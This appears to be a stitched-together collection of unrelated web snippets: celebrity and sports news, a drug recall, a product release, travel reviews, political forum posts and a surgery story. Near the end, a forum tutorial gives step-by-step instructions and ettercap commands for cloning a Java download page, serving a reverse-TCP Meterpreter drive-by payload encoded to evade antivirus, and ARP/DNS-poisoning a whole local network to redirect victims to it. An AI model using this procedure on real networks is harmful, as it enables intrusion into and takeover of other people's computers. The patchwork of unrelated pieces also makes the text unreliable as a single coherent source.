What You Can Learn From HBO's 'Girls': Damage-Proof Your Self-Esteem
The media's unrealistic images of women can crush your confidence. Here's how the star of HBO's 'Girls' and your family can keep your self-esteem high.
-Amanda Schupak, YouBeauty.com
Lena Dunham as Hannah Horvath in 'Girls.'
If you've watched even one episode of HBO's new series, Girls, chances are you've seen the following: awkward sex, at least one post-adolescent existential dilemma and the star Lena Dunham's belly rolls. The show's 26-year-old creator/writer/director/star is clearly comfortable exposing her curves for all of the premium-cable-subscribing world to see, but some of the viewing and reviewing public aren't quite ready for it.
A New York magazine feature called out her not-made-for-TV "pear-shaped" body and the frequency with which she "films herself nude, with her skin breaking out, her belly in folds, chin doubled." Blogs are, naturally, atwitter with commentary and analysis. The word "fleshy" abounds. And Vanity Fair deputy editor Bruce Handy wonders on his blog, "So is this the most transgressive thing a female artist can do in 2012: be fat, naked and unashamed on TV?"
Read Eight Friends Who Hurt Your Finances
Whether or not Dunham's bare unabashedness is a pinnacle of feminist expression is up for debate. But it may be the breath of fresh air women need since we can't turn on the TV, open a magazine or go to the movies without being bombarded with beauty's equivalent of the One Percent—and watching our self-esteem take a nosedive when we fail to measure up.
But seeing real women's bodies isn't the only way to feel good about our own figures. According to a study published last month in the journal Sex Roles, a supportive network of family and friends is the best defense against the self-esteem-damaging effects of the media.
"If a young woman is feeling this pressure from peers, the media and society as a whole to achieve a thin-and-beautiful ideal, that directly relates to body dissatisfaction," says the study's lead author, Shannon Snapp, Ph.D., a developmental psychologist at the Frances McClelland Institute for Children, Youth and Families in Tucson, A.Z. "But if you have a really supportive network, that buffers the impact the rest of society will have on that perceived idea of thinness."
Dr. Snapp and her collaborators surveyed 301 women in their first year of college to investigate the "protective" effects of five factors that can influence body image:

Frank Ocean's cousin admits to using force in Chris Brown fight
Listen to Frank Ocean on iHeartRadio | Listen to Chris Brown on iHeartRadio
Frank Ocean's cousin, Sha'keir Duarte, is explaining his role in a fight between the entourages of Chris Brown and Ocean.
Duarte is suing Brown for $3 million over the January brawl outside a Los Angeles recording studio.
In court documents obtained by TMZ.com, Duarte reveals that he used force with Chris Brown's entourage because he was trying to defend his cousin. He also pointed the finger at a person from Brown's party named "Hood," who he claims went on the offensive against Ocean and his crew.
Since Duarte filed his lawsuit back in August, Chris Brown has filed a countersuit claiming Duarte provoked the fight.
Chris Brown is currently spending 90-days in a residential treatment facility for anger management.

Fla. seeking Ameridose clients; Mass. pharmacy recalled all products
Published: Thursday, November 1, 2012 at 5:46 p.m.
Last Modified: Thursday, November 1, 2012 at 5:46 p.m.
Health officials are trying to determine which Florida facilities received products from Ameridose, a Massachusetts pharmacy that has a corporate link to the pharmacy blamed for the fungal meningitis outbreak.
Once identified, these Florida facilities can work with the state to ensure Ameridose products are segregated and handled pursuant to recall procedures, the Florida Department of Health said Thursday.
Florida's move came one day after Ameridose recalled all its products. The pharmacy did so after federal inspectors found fault with its sterility testing processes.
Officials emphasized that no infections have been linked to Ameridose medications.
"Therefore, the FDA has recommended that health care professionals do not need to follow up with patients who have received Ameridose products at this time," the Department of Health said in a news release issued Thursday afternoon.
"However," the release went on to say, "any patients who are experiencing any adverse effects from the products should contact their health care professionals immediately."
Ameridose, based in Westborough, Mass., has the same founders as the New England Compounding Center, whose contaminated steroid medications are blamed for 28 deaths in 19 states, including three in Marion County.
"Health care professionals should cease using any products from Ameridose at this time and should return the products to the company," the release said.
A list of products subject to the recall is available at www.ameridose.com/news/.
Ameridose has no physical presence in Florida; however, it holds two non-resident prescription drug manufacturer permits from the state Department of Business and Professional Regulation and two compounding pharmacy licenses from the Department of Health, the release said.

Madonna and Katy Perry are teaming up for a sexy new photo shoot.
The two grace the cover of the latest issue of V magazine as a part of a S&M-themed spread shot by photographer Steven Klein. On the cover, Katy straddles the Queen of Pop from behind, both decked out in corsets and black stockings.
Other shots have Katy tying up Madonna on a sofa, and also, pulling at her hair while she crawls on the floor.
The singers spoke to the magazine about what it was like to be in front of the camera together. Katy jokes that she's sore from "all that squatting," while Madonna complains about her neck after "that wonderful moment when [she] was sucking on [Katy's] heel."

Penn-Harvard Box Score (PDF)
PHILADELPHIA – The University of Pennsylvania baseball team won its fourth consecutive game on Sunday with a 4-1 triumph over the visiting Harvard Crimson in the opening game of a scheduled doubleheader. The two teams then battled to a 3-3 tie through seven innings of the day's second game before a steady rain drew action to a close. The game will resume tomorrow at 12 p.m. at Meiklejohn Stadium with the top of the eighth inning.
Dan Gautieri gave Penn yet another quality start and the Quakers added some vital insurance runs in the bottom of the sixth to take the opener of the twinbill over the Crimson.
After getting out of the top of the first inning with the bases loaded, Penn put a run on the board immediately in the bottom half of the inning as Connor Betbeze fought and earned a walk on a 12-pitch at-bat. He stole second and then advanced to third on a wild pitch, putting him just 90 feet away with one out. With Ryan Deitrich going up against an infield playing in on the grass, Deitrich grounded a pitch back up the middle to make it 1-0.
Gautieri locked down on the Crimson after that, giving up a base-hit in the second inning but getting the next hitter to ground into a 6-4-3 double play. He mowed down the Crimson in order in the third and fifth innings, and gave up just a single hit in the fourth.
The Quaker offense awoke with three hits and three runs in the bottom of the fifth. Ryan Mincher led off with a single up the middle and moved up to second base after Gary Tesch drew a walk. Both runners moved up to second and third with none away, Mincher off a wild pitch and Tesch from a stolen base. Betbeze then came up with the biggest hit of the contest, a single past the pitcher and into center that plated both runners to make it a 3-0 contest. After Betbeze stole second, Mike Vilardo knocked him in with a single into center field to up the advantage to 4-0.
The Crimson rediscovered some offense in the top of the sixth with two singles to lead off the inning, but each runner was once again left on base. Finally, in the seventh, the Crimson cracked the scoring column. Two singles put runners on the corners with no outs in the inning and a RBI single from Jeff Hagdin drove in one and ended Gautieri's day. Closer Ronnie Glenn made the pitches he needed to at important times, striking out lead-off hitter Mike Martin for the first out, then getting some help with a nice stop at first base from Rick Brebner for the second out. With the tying run at the plate in the form of Brandon Kregel, Glenn recovered from a 3-0 hole to get the Crimson batter swinging to end the game and earn his sixth save of the year.
Gautieri moved to 4-0 on the year, scattering eight hits over his 6+ innings of work. He struck out four and walked one, giving up just that single unearned run in the seventh. Tanner Anderson fell to 0-3 on the hill for Harvard.

By Hillary Speed Associated Press
If you have beautiful old pieces of china that you rarely use, why not turn them into something else?
Marceli Botticelli of Franklin, Mass., runs an Etsy store called "Tea Times Creations" (www.etsy.com/shop/TeaTimesCreations).
It offers tiered stands, made out of old china, that can be used as serving platters or "tidbit" trays for anything from jewelry to loose change or keys.
She also sells jewelry and nightlights made of repurposed table settings and teacups.
For the DIYer, Botticelli sells kits that come with drill bits, fittings and instructions. And if you're too sheepish to drill your own holes into your precious antique plates, she offers to do it for you.
One of the biggest challenges in repurposing old china for any project, she says, is finding the right piece.
"I am inspired by many different things," she said. "It can be the color, the pattern, a theme."
One client brought her a plate with an extremely rare pattern; the client had been collecting china since she was 8, and had never found another plate like this one.
"I said a prayer, took a deep breath and I drilled into the plate," Botticelli said.
"Now it has a new lease on life and is not stacked with other plates in a closet anymore. It is a beautiful piece that can be enjoyed for many years to come."

Klein and Byrd Undefeated After Day One of Allstate Sugar Bowl Lacrosse Classic
Saturday, February 7, 2009

The three-day event features 27 varsity, junior varsity and middle school boys' teams. A full schedule is available at www.AllstateSugarBowl.org. There is no charge for fans to attend the event.
Klein, the two-time defending champions rolled through its three games on Saturday, allowing just two goals while scoring 28 of its own. Byrd, meanwhile, won its first two games handily, but then had to hold off a second-half Jesuit rally for a 6-4 victory in the final game of the day.
In junior varsity action, Ithaca, which traveled from New York for the event, cruised to three victories and is a likely participant in the championship.
The varsity and junior varsity championships will be played at 1 p.m. on Sunday with the top two teams from each division meeting. Top teams will be decided based on record; in the event of a tie, goals scored will be the deciding factor.

Kanye West Booed at Dodgers Game
New Dad Kanye West recently attended a Los Angeles Dodgers game were he wasn't exactly "welcomed"…. The rapper was BOOED when the jumbotron showed him sitting in the stands. Kanye doesn't have the best public profile right now, but can't a guy just sit back and enjoy a baseball game once in a while? Other celebrities in the stands that night included Robin Thick and Anthony Kiedis from the Red Hot Chili Peppers.
We suspect that there was a video of the incident, but Yeezy's people had it taken down.
The Dodgers posted this pic (left) of Kanye at the game.
WOAH, is that a smile we see Kanye?
ESPN writer Arash Markazi tweeted about the whole experience after he witnessed it happened.

If the Dodgers, down 4-0 in 3rd inning lose, you know I'm pulling the 0-1 when Kanye West is in the house card.— Arash Markazi (@ArashMarkazi) August 15, 2013

Safariland® Introduces New ALS™ Tactical Holsters
ONTARIO, Calif.—Safariland, part of the BAE Systems Products Group, announces today the introduction of two new Automatic Locking System (ALS™) tactical holsters, the Model 6354 ALS Tactical Holster and Model 6355 ALS Tactical Holster, that are available for the first time without the Self Locking System (SLS).
Safariland has earned a leadership position and an industry reputation for "Innovation Not Imitation™" for its holsters and equipment in the law enforcement, military and sporting good markets. With a research and development team comprised of veteran law enforcement officers and champion competitive shooters, Safariland utilizes this comprehensive industry knowledge to design, develop and manufacture some of the most innovative and highest quality products in the world.
The Model 6354 ALS Tactical Holster "locks" the weapon into place once holstered providing additional security from typical open top holsters. The locking device is completely operable with the thumb, making it very easy to use. Plus, once the retention device is released, the weapon can be drawn straight out of the holster with no twisting or other motion required.
The Model 6355 ALS Tactical Holster, which employs the same security features as the Model 6354, incorporates a quick release leg harness offering additional versatility and usability for law enforcement and tactical personnel.
Constructed of thermal-molded SAFARI-LAMINATE™ to protect the handgun and sights, the Model 6354 and Model 6355 are lined with Safari-Suede to protect the handgun's finish. Additionally, both new models are standard with an adjustable double leg strap and leg shroud with mounting holes for optional accessories.
The Model 6354 ALS Tactical Holster is available in STX Tactical™ finish with an MSRP starting at $162.00. The Model 6355 ALS Tactical Holster is also available in STX Tactical finish with an MSRP starting at $172.00. Both are available for a wide variety of handguns with or without a mounted light.

Photo Gallery: Home intruder shot by resident
ONTARIO -- An Ontario man shot and killed an intruder who broke into his apartment early Monday morning.
Police came to the 2500 block of East Riverside Drive after receiving several calls from residents at 3:02 a.m., said Ontario police Sgt. David McBride.
The intruder, identified by police as 24-year-old Thomas Gilbert Manzano of Barstow, had broken a back window to an apartment, according to police, climbed inside and confronted a man.
The two men brawled, police say, and Manzano allegedly threatened to kill the man. That's when the victim's father came to his rescue.
"He arms himself, comes into the room and ends up shooting the suspect," McBride said.
Paramedics took the suspect to Kaiser Medical Center, in Ontario, where he died about an hour later, according to the San Bernardino County Sheriff-Coroner's Department.
Police said Manzano had been visiting his mother in the same complex, and had been hanging around with another man who was squatting in a vacant unit at the complex.
Manzano and the other man spent several hours drinking alcohol and returned to the complex early Monday, according to police, but instead of going to the vacant unit, they mistakenly went to the victims' home.
Manzano banged on the door, waking up the father. The father told him to go away. Police say Manzano threatened the man and then forced his way into his son's bedroom.
The father, seeing Manzano attacking his son, shot him, police say.
Police say both victims have been cooperative with police. The father is a legal gun owner.
"Obviously they have the ability to protect themselves in their home with reasonable force," McBride said.
The case will be presented to the San Bernardino County District Attorney's Office for consideration of charges.
It is the second incident in the Inland Empire in nine days involving a home intruder who was shot by a resident.
Another incident occurred in San Bernardino on June 15.
Police said Leonard Guerra, 35, of San Bernardino broke into a home in the 2200 block of West Mill Street. The homeowner's daughter entered the home to check on it and screamed for help when she saw Guerra.
Guerra grabbed her.
The woman's father woke up, confronted Guerra and shot him. Police said Monday he survived his wound.

Brandin Cooks Named Pac-12 First Team
Oregon State junior wide receiver and Biletnikoff Award finalist Brandin Cooks has been named to the 2013 Pac-12 All-Conference First Team, it was announced Monday by league commissioner Larry Scott. The all-league team is compiled via votes of the conference's 12 head coaches.
Cooks set a Pac-12 record this season with 120 receptions and his 1,670 receiving yards (OSU record) is just 51 short of the single season yards mark held by current USC Trojan Marqise Lee. In addition, the Stockton, Calif., native owns OSU records for career touchdown receptions (23) and single season (2013) touchdown receptions (15). Cooks joins an impressive list of Beaver wide receivers to be named to the first team in recent history that includes Markus Wheaton (2012), James Rodgers (2009), Sammie Stroughter (2008), Mike Hass (2005) and James Newson (2003).
Three Beavers earned Pac-12 Second Team acclaim; sophomore center Isaac Seumalo, junior defensive end Scott Crichton and senior cornerback Rashaad Reynolds. Honorable Mention members include senior offensive guard Grant Enger, and the junior quintet of quarterback Sean Mannion, tight end Connor Hamlett, safety Ryan Murphy, cornerback Steven Nelson and running back Terron Ward.

(Lake Mary, FL) -- George Zimmerman's estranged wife said she was in fear for her life when she called 911 to report her husband was threatening her.

She says that while in the car, Zimmerman threatened her and her family while keeping his hand on a gun. Police defused the situation before there were any serious injuries. Zimmerman was briefly detained but no charges have been filed and the case is still under investigation.

War Rocket Ajax Early Edition: Robin Rises Omega, The Death Of Archie, And '2299' Vol. 1
This week, Chris and Matt talk about how Robin Rises Omega #1 by Peter Tomasi and Andy Kubert should be great, but falls short, possibly because it's a victim of its own marketing. Then, we talk about how Life With Archie #36 by Paul Kupperberg and Pat & Tim Kennedy is really enjoyable despite some weird tics. Then, we discuss the cool new sci-fi anthology, 2299, edited by Dylan Todd.

Sir Mark Sykes, a crusty diplomat who had colluded with the French to give them Damascus, was more defiantly a misogynist.

Old English frencisc "of the Franks," from Franca (see Frank). The noun is from Old English Frencisc. As the name of a language, from late 13c.
Euphemistic meaning "bad language" (pardon my French) is from 1895. Used in many combination-words, often dealing with food or sex. French dressing recorded by 1860; French toast is from 1630s. French letter "condom" (c.1856, perhaps on resemblance of sheepskin and parchment), French (v.) "perform oral sex on" (c.1917) and French kiss (1923) all probably stem from the Anglo-Saxon equation of Gallic culture and sexual sophistication, a sense first recorded 1749 in the phrase French novel.
To take French leave, "depart without telling the host," is 1771, from a social custom then prevalent. However, this is said to be called in France filer à l'anglaise, literally "to take English leave."

Paul McCartney welcomes Nirvana members at Seattle concert
Listen to Paul McCartney on iHeartRadio | Listen to Nirvana on iHeartRadio
Paul McCartney is reprising his collaboration with surviving members of Nirvana in concert. The former Beatle welcomed Dave Grohl, Krist Novoselic, and Pat Smear to join him at his show Friday in Seattle. They played a number of songs together, including the Beatles classic "Get Back."

The show was part of McCartney's "Out There" world tour.

Up at the O2
Up at the O2
This attraction at the O2 gives visitors the chance to go on a guided expedition across the arena roof, via a tensile fabric walkway that peaks at 53m above ground level. At the summit there's an observation platform, giving views right over London: the Olympic Park, Thames Barrier, the Shard and Canary Wharf. This outdoor challenge begins at 'Base Camp', where participants are kitted out in jumpsuits, shoes and safety harnesses before being guided in groups along the walkway. It is suitable for most people aged ten years and over and at least 1.2 metres tall; accessible tours for those with disabilities, including wheelchair-users, are also available.

Fantastic. I don't like climbing, I don't like heights but I loved this. My son dared me to do this with him for his birthday. The instructions and safety talk at the beginning are well done but slightly frightening. You feel like you are climbing up a trampoline and the bouncy surface helps you along. The sights at the top are great and a perfect opportunity for a Selfie. It really isn't hard to do you need basic stamina and fitness levels. Do it - Challenge yourself you will have fun and be proud of yourself at the end!
OK, fact fans here's one for you - I don't do heights. Never have and never will. I was offered the opportunity to do a similar climb over the Sydney Harbour Bridge when I was Down Under and the very thought of it made me nearly pass out. The big difference is that someone like me looks at the Bridge and thinks 'Meccano' but the O2 is different. For those who can remember back to the turn of the century the O2 was the Dome and that's the key word, as for those of us of a vertiginous persuasion, it offers all of the climbing with none of the long way down. On arrival you check in and go into the briefing room where you sign away your life on a series of disclaimers and then are treated to a quite frankly cringe worthy briefing video that even the staff were apologetic about. Then to business - the suits are optional but help with making you feel part of an extreme activity and it was early enough in the morning even in Summer that they didn't make us hot. With straps and harnesses all in place our leader took us to the point of embarkation. At this point he mentions casually that the walk way has been designed to replicate the surface of the dome itself and is slightly bouncy. BOUNCY! No one said anything about bouncy until I'm stood there trussed up like a Christmas turkey with an excited missus and a dozen other people primed to go. So with an audible gulp I clipped my harness to the rail and off we went. And do you know what? I flipping loved it! The bounce was minimal the slope gentle enough for someone of reasonable fitness and the wind in your hair makes it a far more energising than the rather tame Shard we did later that day. You genuinely get a sense of height without the drop - perfect for wimps like me. There is just about adequate time on the viewing platform although we did have to move on as the next group was approaching. The climb leader took loads of photos of me and the good lady and there were some good views to be had. It's a bit of a shame that the buildings of Canary Wharf block the view of some of the city's more iconic landmarks. Perhaps the highlight was noticing that in the guide that runs around the platform, which is incidentally cast in stone, the Gherkin has been spelt as the Gerkin. Must have been an interesting team meeting in Quality Assurance that day! And so the descent begins and, like a kid on a ride outside a supermarket, as soon as I came to a halt I wanted to start again. Sadly there was neither time nor disposable income for that. on a day that I was generally quite high up (this, the Emirates Cable Car and the Shard) this was the undisputed highlight. You should do it!
I can just recommend this! If done it last weekend and it is an amazing experience! The wind up there and the view was really exciting! But it is quite expensive though...

PHILADELPHIA – Following a dramatic, 5-4 win at Lehigh to open the 2013 season, the University of Pennsylvania field hockey team is in action twice this weekend. The Quakers are at Saint Joseph's Friday at 3:30 p.m., and at Bucknell Sunday at 1 p.m.
A Sort of Homecoming
Penn's game at Saint Joseph's has become a big one on the schedule, and not just because it's a city game. SJU is also Penn head coach Colleen Fink's alma mater, as well as the alma mater of assistant coach Katelyn O'Brien.
Small World
Bucknell's head coach is Jeremy Cook, who was an assistant coach here at Penn under Val Cloud.
Vagelos Field Update
The first home games won't happen until next weekend, of course, but the Quakers got to put their sticks, balls and shoes on the field for the first time this week as they began practicing there. Exciting times for the program!
The Series with Saint Joseph's
The Quakers lead the Hawks, 11-7, and have taken two of the last three meetings between these teams. Penn and Saint Joseph's did not play last year; in 2011, SJU gained a 3-1 victory on Hawk Hill.
About SJU
The Hawks (0-4) have struggled in the early going, and are still looking for their first win. Three of the losses have come by a goal, most recently an epic, 3-2 loss to Fairfield that came in triple overtime. Four women have scored this season for SJU: Nicole Gerdes, Sarah Yerk, Shannon McNeill and Eva Gekas. Marin Vreeburg has a team-high two assists. In goal, Rachel Barnett has played every minute and holds a 2.26 goals-against average as well as a .787 save percentage.
The Series with Bucknell
The Quakers and the Bison have met just twice in field hockey, with Penn winning both contests. The most recent meeting took place in 2007 and was a 2-0 win in Lewisburg. The other meeting came in 1999 in Philadelphia and was won by the Quakers, 4-1.
About Bucknell
The Bison (2-2) enter the weekend on a two-game win streak; they are at Drexel Friday, before hosting Penn on Sunday. Leigh Hillman scored twice in Bucknell's win over Ohio State last weekend and was honored as the Patriot League Offensive Player of the Week; she has a team-high seven points. Vickie Resh had the winner against the Buckeyes.
About Penn
*After losing three straight season openers from 2009-11, Penn has now won its season opener each of the last two years.
*The Quakers matched their goal total from last year's season opener, also against Lehigh, in Friday's win in Bethlehem. It was also the highest-scoring game Penn had played in almost exactly a year, since a 5-4 win over Liberty last September 8.
*The goal scoring should not come as a surprise, since Penn tied the program record for goals in a season last year with 42.
*What was good to see was five different women scoring the five goals last weekend, including two freshmen playing their first collegiate games. Elise Tilton scored the Quakers' first goal of 2013, while Jasmine Cole had a goal and got off four shots in the game. A third freshman, Katelynn Mudgett, started for the Quakers.
*Sophomore Elizabeth Hitti and junior Emily Corcoran each had a goal and an assist in the contest. Hitti's goal, of course, was the big one -- it came after the clock had expired, off a Penn penalty corner, and gave the Quakers the victory.
*Carly Sokach was in goal last Friday, as she was for every game last season. She had a 2.92 goals-against average in 2012, and a .705 save percentage. Sokach made four stops against the Mountain Hawks last Friday.
*Senior Julie Tahan -- who had Penn's other goal last Friday -- and junior defender MaryRose Croddick were second-team All-Ivy players a year ago; both are back this season. Hitti, meanwhile, received honorable mention despite being a freshman. The team also welcomes back junior Alex Iqbal, who was an All-Ivy honoree in 2011 as a freshman but missed all of last year due to injury.
*Tahan and Iqbal, who had five shots apiece in last weekend's win, are this year's captains. In addition to Tahan, the other seniors are Amelia Cohen, Katie Harrington and Sunny Stirewalt.
Up Next...
Penn is home for its next three games, inaugurating Ellen Vagelos Field. The first game takes place on Saturday, Sept. 21, an Ivy League contest against Cornell. The next day, Penn hosts Pacific. (Both of those games are scheduled to start at noon.) On Wednesday, Sept. 25, the Red and Blue will entertain city foe La Salle at 4 p.m.

Party Confetti for Your Tables, Invitations & Centerpiece Displays
Is there a party decoration more versatile than confetti? In our opinion, no, because confetti is the spackle of your birthday display, filling the gaps where needed, providing depth to table arrangements, and underscoring the theme of the event. Strew it over table tops and counters, place it in the envelopes of invitations you send to guests, and scatter it wherever the decorating could use a special lift. With over 60 varieties of themed birthday confetti (Minnie Mouse, Spider-Man, Hello Kitty, etc.), dozens of general birthday confetti patterns, and a generous dose of shaped metallic confetti (hearts, stars, dots, and so forth), there's no reason for your party to do without — especially when you consider the low, low price. Each package of party confetti contains an eye-catching mix of die-cut shapes — some in a hodgepodge of brilliant colors and others in a single solid color; even single shapes like stars and dots offer visual interest and variety as shapes go from small to large. This section of the Party City site gives you a selection of birthday-themed confetti; to view confetti specific to graduation, baby shower, Mardi Gras, luau, and other events, please visit those areas of our web site (search or browse) — what we show here is the mere tip of the confetti iceberg.

I love the idea of squeezing in a little breakfast nook where ever you can. It's such a clever, and creative way to use your space. Immediately my eye was drawn to this sunny space, that gold moroccan pendant is hard to miss! I especially love how relaxed and happy this area feels. Surely a happy place to start your day, wouldn't you say?
Even if you don't have the ability to do a built in seat like this, consider a bench that's similar dimensions, or an old church pew from a salvage or antique store. The idea is to think out of box!

These aren't going to be easy years for Obama that's for sure. At this rate Carter will have nothing on this guy.

As times are probably high for political/moral frustrations toward America, I genuinely suggest you read "Ideas Have Consequences" by Richard Weaver. It outlines man and civilization and how he destroys it. It is prophetic in its claims. When reading you would be hard pressed to believe it was written in 1948.
A glimpse:
The fight is being waged on all fronts, and the most insidious idea employed to break down society is an undefined equalitarianism. That this concept does not make sense even in the most elementary applications has proved no deterrent to its spread, and we shall have something to say later on about modern man's growing incapacity for logic. An American political writer of the last century, confronted with the statement that all men are created free and equal, asked whether it would not be more accurate to say that no man was ever created free and no two men ever created equal. Such hardheadedness would today be mistaken for frivolity. Thomas Jefferson, after his long apostleship to radicalism, made it the labor of his old age to create an educational system which would be a means of sorting out according to gifts and attainments.
Such equalitarianism is harmful because it always presents itself as a redress of injustice, whereas in truth it is the very opposite. I would mention here the fact, obvious to any candid observer, that "equality" is found most often in the mouths of those engaged in artful self-promotion. These secretly cherish the ladder to high designs but find that they can mount the lower rungs more easily by making use of the catchword. We do not necessarily grudge them their rise, but the concept they foster is fatal to the harmony of the world.
The comity of peoples in groups large or small rests not upon this chimerical notion of equality but upon fraternity, a concept which long antedates it in history because it goes immeasurably deeper in human sentiment. The ancient feeling of brotherhood carries obligations of which equality knows nothing. It calls for respect and protection, for brotherhood is status in family, and family is by nature hierarchical. It demands patience with little brother, and it may sternly exact duty of big brother. It places people in a network of sentiment, not of rights-that hortus siccus of modern vainglory.
Equality is a disorganizing concept in so far as human relationships mean order. It is order without a design; it attempts a meaningless and profitless regimentation of what has been ordered from time immemorial by the scheme of things. No society can rightly offer less than equality before the law; but there can be no equality of condition between youth and age or between the sexes; there cannot be equality even between friends. The rule is that each shall act where he is strong; the assignment of identical roles produces first confusion and then alienation, as we have increasing opportunity to observe. Not only is this disorganizing heresy busily confounding the most natural social groupings, it is also creating a reservoir of poisonous envy. How much of the frustration of the modern world proceeds from starting with the assumption that all are equal, finding that this cannot be so, and then having to realize that one can no longer fall back on the bond of fraternity!
It is generally assumed that the erasing of all distinctions will usher in the reign of pure democracy. But the inability of pure democracy to stand for something intelligible leaves it merely a verbal deception. If it promises equality before the law, it does no more than empires and monarchies have done and cannot use this as a ground to assert superiority. If it promises equality of condition, it promises injustice, because one law for the ox and the lion is tyranny. Pressure from the consumer instinct usually compels it to promise the latter. When it was found that equality before the law has no effect on inequalities of ability and achievement, humanitarians concluded that they had been tricked into asking only part of their just claim. The claim to political equality was then supplemented by the demand for economic democracy, which was to give substance to the ideal of the levelers. Nothing but a despotism could enforce anything so unrealistic, and this explains why modern governments dedicated to this program have become, under one guise and another, despotic.

Re: Election Day 2012 Thread
This is my first time stepping into the political forum here, but I thought that I would give it a try.
It just seemed like the republican party was too distracted to realize that they didn't have much to choose from. It was like they went from Romney, to Palin, to somebody else, before returning to Romney, who always had this feel of being the best of the worst. That got them off to a bad start.
While Romney has a successful resume, the person he began to portray was not the person history documented him as being and that was just too wide of an opening that he left.
Where I felt confidence in Romney is where he was going to make significant strides in lowering the national debt. However, I just felt like he was going to have to sacrifice too many hands to do it and I didn't feel like I was in a personal position to survive the bleeding.
Obama's strategy was to salvage as many as possible and I happened to be one of those who benefited from that strategy. If it weren't for his efforts to hold off many of the foreclosures in the country, in part, to give time for several of the mortgage assistance programs to help out, I would have lost my home. If it weren't for the unemployment extension, I may have defaulted on several student loans. That extension gave me the time that I needed to find a job. Now, I'm working two.
As a result, I think his strategy also resonated with many others who were in similar situations.
Romney's strategy, in my opinion, could have been successful in the long-term, but there was too much doubt as to how many casualties there would be along the way. I just couldn't see how he was going to do a better job of decreasing the national debt than Obama has done, yet also do a better job of providing more jobs than Obama would do within the next four years. I just didn't see a plan that I could be confident in."Please take with you this final sword, The Excellector. I am praying that your journey will be guided by the light", Leon Shore

Robert Wood Johnson Foundation New Careers in Nursing
The Foundation's New Careers in Nursing Scholarship Program was designed to address the nursing shortage by funding scholarships in accelerated bachelor's degree programs at nursing schools, with preference given to schools that increase the number of students in these programs or increase enrollment and retention of disadvantaged or minority students.Through grants to schools of nursing, the program will provide scholarships to non-nursing college graduates enrolled in accelerated baccalaureate and master's nursing programs. These fast-track programs allow talented individuals from other disciplines to enter the nursing profession by earning a nursing degree in 12 to 18 months.This grant supports one of 52 nursing schools selected for funding through a competitive application process. The nursing school will use all grant funds for between 5 and 30 scholarships for students deemed eligible for this program. It is expected that applicant institutions will allocate RWJF scholarship funds to enrolled students accepted into accelerated baccalaureate or master's degree nursing programs who will receive the New Careers in Nursing scholarships. These funds are not to be used to supplant other financial resources such as loan funds that the student is eligible to receive due to need. Students may use their scholarship funds to pay tuition, academic fees or as a subsidy to living expenses to reduce their financial burden while in school. The school will report on the progress of scholarship recipients during the academic year. As a result of this program, the nursing school is expected to increase: (1) student enrollment capacity in its accelerated program(s); and (2) the number of students from underrepresented and disadvantaged backgrounds that enroll and graduate from the program.

I was writing on a same tutorial, now i can cancel that, your tutorial is perfect =). Propably you could mention the VNCINJECT or some mfsexploits in use with dnsspoofing
How to get into local machines using SET + ETTERCAP
I dont´t know if this is right here in the Expert Section, but I don´t think this fits into General Topics and I can´t directly post into the Howto´s section.
This Howto describes how you can use SET + ettercap (dns_spoof plugin) together in a good way.
Step 1: Setting up the Fake-Page
a. Start SET
b. Choose Website Attack Attack Vectors by typing 1
c. Choose Java Applet Attack
d. Here choose Custom Import, so you can use this script to clone the site in which you want to inject the DriveBy,
so that you can edit the content of the cloned page before SET makes evil stuff with it :P. I cloned for example www.java.com/en/, and after cloning I edited the index.html with changing the JAVA + YOU, DOWNLOAD TODAY part to sth like IMPORTANT JAVA UPDATE. You dont have to use this option, you can simply use the Site-Cloner from SET, too.
e. After choosing your site, you have to choose the Payload. I recommend choice 2 (Windows Reverse_TCP Meterpreter) in here, or if you know that your target has a 64 bit operating system, choose 5 (Windows Reverse_TCP Meterpreter x64), because the x64 one is completely FUD.
f. Now you have to choose the encryption of the Payload , so that it wont get detected by the victims AV. Just choose 16 (Backdoored Executable), which is currently the best.
g. Yet SET is setting up a Metasploit-Listener, which will show you if someone clicked on your Java DriveBy. You MUST keep this window open.
Step 2: Use ettercap to redirect slave/s to your fake-site
a. The first thing you have to do, is opening the etter.dns file, which is located in /usr/share/ettercap. Just delete everything in it, and if you want to redirect every site your slave visits, write the following into it:
If you only want to redirect one page, write this:Code:* A yourip
So at my specific case, the etter.dns file looks like this (Everything gets redirected to my fake page):Code:thesiteyouwanttoredirect A yourip
b. Running ettercapCode:* A 192.168.0.103
After configuring everything, you can now run the following command:
This poisons the whole local network, what means, that every PC in your local machine gets redirected to your fake-page.Code:ettercap -T -q -P dns_spoof -M ARP // //
If you want to redirect only one single PC, you have to run this command:
And here is what the parameters actually mean:Code:ettercap -T -q -P dns_spoof -M ARP /ipofyourvictim/ //
-T means Text Interface, so you got no annoying GUI
-q means silent mode, ettercap doesnt display everything it does (which were really annoying)
-P means ettercap hast to use the dns_spoof plugin, which is responsible for the redirecting
-M ARP means Man In The Middle Attack, the whole traffic into your network goes first through your PC
So thats it, I hope you like my tutorial, and if you do so, please comment it If you got any questions, feel free to ask me!

A few seconds of tragic teenage curiosity have brought five years of pain and difficulty to Blessing Makwera of Zimbabwe. Now, hope, in the form of extensive reconstructive surgery, is close at hand.
Makwera's path to San Diego started in 2008, when his cousin handed him a small metal device with two wires sticking out.
"He just gave it to me like, do you know what this is," the thin 20-year-old said Wednesday in muffled but articulate English.
Always curious about how things work, the boy put the device in his mouth, freeing both of his hands to touch the two wires to the positive and negative terminals of his cellphone battery.
The resulting explosion from what turned out to be a detonator, the kind used to set off land mines, destroyed most of the boy's jaw and teeth. Since the explosion, eating and talking have been a daily ordeal.
Eventually Makwera's plight came to the attention of Operation of Hope Worldwide, a nonprofit based in Lake Forest that brings surgeons to developing countries to perform surgeries on children born with facial deformities like cleft palates.
Jennifer Trubenbach, the organization's president, said Blessing's situation was too complex to handle in Zimbabwe, so she began looking for sponsors to fund a trip to America and for a hospital and team of surgeons willing to donate the procedure. She said Sharp HealthCare, once it learned of Makwera's situation, was quick to respond.
"They just swung the doors open wide," Trubenbach said.
The 20-year-old is headed for 10 hours of surgery Saturday, the first of three operations designed to rebuild his jaw, repair scar tissue in and around his mouth and install new permanent false teeth. A team of seven local surgeons is working with Sharp to donate the work, which is estimated to take eight months.
Dr. Joel Berger, the maxillofacial surgeon heading the team, predicted big changes for his patient.
"At the end of eight months, he'll be able to smile, laugh, speak, eat whatever he wants and function as a normal human being," Berger said.
An X-ray shows the surgeons' starting point. There, where his jaw should be, is the bright arc of a steel surgical wire installed by an African doctor.
Berger said he knows that some may question the expense, which is likely to exceed $1 million. The surgeon said doing the work is about something deeper than helping someone undo the consequences of a tragic and painful accident.
